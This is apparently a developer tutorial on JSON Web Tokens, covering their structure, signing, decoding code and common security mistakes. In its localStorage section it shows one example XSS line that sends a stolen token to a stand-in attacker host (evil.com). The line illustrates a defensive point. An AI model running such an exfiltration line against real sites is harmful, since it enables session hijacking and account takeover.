JWT Tokens Explained: What They Are, How They Work, and How to Decode Them
If you've built a web application in the last decade, you've almost certainly encountered JSON Web Tokens (JWTs). They're used by Firebase, Auth0, AWS Cognito, and countless custom auth systems. But despite their ubiquity, many developers use JWTs without fully understanding what's inside them, how the signature works, or what security pitfalls to avoid.
This guide breaks down JWTs from the ground up: what each part contains, how the authentication flow works, and the mistakes that lead to real vulnerabilities. You can decode any JWT instantly with our JWT Decoder.
What Is a JWT?
A JSON Web Token is a compact, URL-safe string that carries claims (pieces of information) between two parties. It's defined by RFC 7519 and consists of three parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNjkwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|___________________________________|.|_______________________________________________|.|___________________________________|
HEADER PAYLOAD SIGNATURE
Each part is Base64URL-encoded. The header and payload are plain JSON — they're encoded, not encrypted. Anyone can decode them. The signature is what prevents tampering.
Part 1: The Header
The header declares the token type and the signing algorithm. When decoded, it looks like this:
{
"alg": "HS256",
"typ": "JWT"
}
The two most important header fields:
- alg — The signing algorithm. Common values:
HS256(HMAC-SHA256, symmetric),RS256(RSA-SHA256, asymmetric),ES256(ECDSA-SHA256, asymmetric) - typ — Usually "JWT". Some systems use "at+jwt" for access tokens to distinguish from other token types
You may also see kid (key ID) in the header, which tells the server which signing key was used — important when keys are rotated.
Part 2: The Payload (Claims)
The payload contains the claims — the actual data the token carries. Claims are key-value pairs. The JWT spec defines several standard ("registered") claims:
| Claim | Name | Description |
|---|---|---|
sub |
Subject | Who the token is about (usually a user ID) |
iss |
Issuer | Who issued the token (e.g., "https://auth.example.com") |
aud |
Audience | Who the token is intended for (e.g., "api.example.com") |
exp |
Expiration | Unix timestamp when the token expires |
iat |
Issued At | Unix timestamp when the token was created |
nbf |
Not Before | Token is not valid before this time |
jti |
JWT ID | Unique identifier for this token (prevents replay) |
A typical payload for an authenticated user looks like this:
{
"sub": "user_8f3a9b2c",
"name": "Alice Chen",
"email": "alice@example.com",
"role": "admin",
"iss": "https://auth.myapp.com",
"aud": "https://api.myapp.com",
"iat": 1690000000,
"exp": 1690003600
}
Critical reminder: The payload is not encrypted. Anyone with the token can decode it and read these values. Never put sensitive data like passwords, credit card numbers, or API secrets in a JWT payload.
Part 3: The Signature
The signature is what makes JWTs tamper-proof. It's generated by taking the encoded header, the encoded payload, and a secret key, then running them through the signing algorithm:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
When the server receives a JWT, it recomputes the signature using its secret key. If the signature doesn't match, the token has been tampered with and is rejected. This means a user cannot change their role from "user" to "admin" in the payload — the signature check will fail.
HMAC (HS256) vs. RSA (RS256)
| Algorithm | Type | How It Works | Best For |
|---|---|---|---|
| HS256 | Symmetric | Same secret signs and verifies | Single-service apps where the signer and verifier are the same server |
| RS256 | Asymmetric | Private key signs, public key verifies | Microservices, third-party auth (Auth0, Firebase). Services only need the public key to verify |
| ES256 | Asymmetric | ECDSA with P-256 curve | Same as RS256 but with smaller keys and faster verification |
The JWT Authentication Flow
Here's how JWTs are typically used in a web application:
1. User sends login credentials
POST /auth/login { "email": "alice@example.com", "password": "••••••" }
2. Server verifies credentials, generates a JWT
→ signs { sub: "user_8f3a9b", role: "admin", exp: ... } with secret key
3. Server returns the JWT to the client
{ "access_token": "eyJhbGciOiJI...", "expires_in": 3600 }
4. Client stores the token and sends it with every API request
Authorization: Bearer eyJhbGciOiJI...
5. Server verifies the signature and checks expiry on each request
→ if valid, reads claims and processes the request
→ if invalid or expired, returns 401 Unauthorized
The key advantage: the server doesn't need to store session state. The token itself contains everything needed to authenticate the user. This is why JWTs are called "stateless" — the server can verify the token without hitting a database or session store.
How to Decode a JWT
Since the header and payload are just Base64URL-encoded JSON, you can decode them trivially:
// JavaScript — decode a JWT payload
function decodeJWT(token) {
const parts = token.split('.');
const header = JSON.parse(atob(parts[0]));
const payload = JSON.parse(atob(parts[1]));
return { header, payload };
}
// Usage
const { header, payload } = decodeJWT('eyJhbGciOiJIUzI1NiI...');
console.log(payload.sub); // "user_8f3a9b2c"
console.log(payload.exp); // 1690003600
// Check if expired
const isExpired = payload.exp * 1000 < Date.now();
# Python — decode without verification (for inspection only)
import base64, json
def decode_jwt(token):
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
return payload
# Command line with jq
echo 'eyJhbGci...' | cut -d. -f2 | base64 -d | jq .
For quick decoding without writing code, paste any token into our JWT Decoder. It shows the header, payload, and expiration status instantly.
Common Security Mistakes With JWTs
1. Storing JWTs in localStorage
This is the most debated topic in JWT security. localStorage is accessible to any JavaScript running on the page, which means a single XSS vulnerability lets an attacker steal every user's token.
// Vulnerable — any XSS can steal this
localStorage.setItem('token', jwt);
// If an attacker injects this script:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
Better approach: Store JWTs in HttpOnly, Secure, SameSite cookies. HttpOnly cookies cannot be accessed by JavaScript, eliminating the XSS token theft vector entirely.
2. Not Validating Token Expiry
The exp claim is just a number in the payload. If your server doesn't check it, expired tokens continue to work indefinitely. Always verify expiry server-side:
// Node.js with jsonwebtoken
const jwt = require('jsonwebtoken');
try {
const decoded = jwt.verify(token, secretKey); // checks exp automatically
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
}
3. Not Checking the Audience (aud) Claim
If you issue tokens for multiple services, a token intended for your billing service could be used against your admin API if you don't check aud. Always validate that the audience matches the current service.
4. Using the "none" Algorithm
The JWT spec allows "alg": "none", which means no signature. If your verification library accepts unsigned tokens, an attacker can forge any claims. Always explicitly specify which algorithms your server accepts:
// DANGEROUS — accepts any algorithm including "none"
jwt.verify(token, secretKey);
// SAFE — explicitly whitelist algorithms
jwt.verify(token, secretKey, { algorithms: ['HS256'] });
5. Using Long-Lived Access Tokens
JWTs cannot be revoked once issued (they're stateless). If you issue tokens with a 30-day expiry and a user's account is compromised, that token remains valid for 30 days. Use short-lived access tokens (5-15 minutes) paired with refresh tokens that can be revoked server-side.
JWTs vs. Session Cookies
| Feature | JWT | Session Cookie |
|---|---|---|
| State | Stateless (no server storage) | Stateful (server stores session data) |
| Revocation | Cannot revoke (until expiry) | Delete from session store instantly |
| Scaling | Easy — any server can verify | Requires shared session store (Redis) |
| Payload size | Larger (claims in token) | Small (just a session ID) |
| Cross-domain | Works via Authorization header | Limited by cookie same-origin policy |
| XSS risk | High if stored in localStorage | Low with HttpOnly cookies |
| CSRF risk | Low (sent in header, not auto-attached) | Requires CSRF tokens |
When to use JWTs: Microservice architectures, mobile apps, cross-domain APIs, and third-party integrations where stateless verification is essential.
When to use sessions: Traditional server-rendered apps, apps that need instant session revocation (e.g., banking), and simple setups where scaling session storage isn't a concern.
Many production systems use a hybrid approach: JWTs stored in HttpOnly cookies for the best of both worlds — stateless verification with cookie-based security protections.
Access Tokens and Refresh Tokens
Production auth systems typically use two tokens:
- Access token — Short-lived (5-15 minutes). Sent with every API request. If compromised, the damage window is small.
- Refresh token — Long-lived (7-30 days). Stored securely (HttpOnly cookie). Used only to get a new access token when the current one expires. Can be revoked server-side.
// Refresh flow
1. Access token expires (401 response)
2. Client sends refresh token to POST /auth/refresh
3. Server validates refresh token, issues new access token
4. Client retries the original request with the new access token
// If the refresh token is also expired or revoked → user must log in again
This pattern gives you the stateless benefits of JWTs for most requests while maintaining the ability to revoke sessions when needed.
Frequently Asked Questions
Are JWTs encrypted?
Standard JWTs (JWS — JSON Web Signature) are signed but not encrypted. The payload is Base64URL-encoded, which is trivially reversible — it's encoding, not encryption. Anyone who has the token can read the payload. If you need encrypted tokens, use JWE (JSON Web Encryption), which adds a layer of encryption on top. However, most applications don't need JWE — just avoid putting sensitive data in the payload and transport tokens over HTTPS.
Can I revoke a JWT before it expires?
Not with the token alone — that's the trade-off of stateless auth. The most common workaround is maintaining a server-side blocklist (denylist) of revoked token IDs (jti claims). When a user logs out or their account is suspended, add their token's jti to the blocklist. On each request, check the blocklist before accepting the token. This adds a small stateful check but preserves the stateless benefits for the 99% of requests where tokens are valid. Using short-lived access tokens (5-15 minutes) minimizes how long a compromised token remains usable.
Where should I store JWTs on the client?
The safest option is an HttpOnly, Secure, SameSite=Strict cookie. This prevents JavaScript access (blocking XSS theft) and only sends the cookie over HTTPS to the same origin. If you must use the Authorization header (e.g., for cross-domain APIs), store the token in memory (a JavaScript variable) and accept that it's lost on page refresh — use a refresh token in an HttpOnly cookie to get a new access token silently. Avoid localStorage and sessionStorage for tokens.
What happens if my JWT signing secret is compromised?
If the secret key leaks, an attacker can forge valid tokens for any user with any claims. This is a complete authentication bypass. You must rotate the key immediately, which invalidates all existing tokens and forces every user to re-authenticate. With asymmetric algorithms (RS256), only the private key is dangerous — the public key is safe to distribute. This is why RS256 is preferred in environments where multiple services verify tokens, as only the auth service needs the private key.
How long should a JWT access token last?
For most web applications, 5 to 15 minutes is the recommended range. Shorter expiry limits the damage window if a token is stolen, while the refresh token mechanism ensures a seamless user experience. For highly sensitive applications (banking, healthcare), consider even shorter windows of 1-5 minutes. For lower-risk internal tools, 30-60 minutes may be acceptable. Never use access tokens that last days or weeks — that's what refresh tokens are for.